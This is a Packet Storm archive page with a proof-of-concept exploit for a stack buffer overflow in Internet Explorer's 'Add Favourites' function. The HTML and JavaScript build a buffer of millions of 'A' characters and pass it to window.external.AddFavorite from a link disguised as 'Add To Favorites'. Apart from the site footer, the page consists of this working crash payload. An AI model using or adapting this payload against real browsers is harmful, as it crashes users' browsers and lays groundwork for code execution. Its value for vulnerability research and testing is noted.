Microsoft Internet Explorer "Add Favourites" stack buffer overflow proof of concept exploit.
3bb015d9a30171a07b2d575fa23d111cb13d3f8989dd93e3e810bab7fbc71567------------------------------------------->
IE Add Favourites Stack Buffer Overflow POC
Sberry, Compaq
------------------------------------------->
<html>
<head>
<script language="JavaScript" type="Text/Javascript">
function go()
{
var str =unescape('%u4141');
var finalstr = createInlineBuffer(str, 5150000);
var len = finalstr.length;
document.write(len);
addfav(finalstr);
}
/* Effient in-line creation */
function createInlineBuffer (str, num) {
var i = Math.ceil(Math.log(num) / Math.LN2),
res = str;
do {
res += res;
} while (0 < --i);
return res.slice(0, str.length * num);
}
/* Vulnerable Function */
function addfav(str)
{
if (document.all)
{
window.external.AddFavorite
('http://'+str,'Crash')
}
}
</script>
</head>
<body>
<a href="javascript:go()">Add To Favorites</a>
</body>
</html>
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed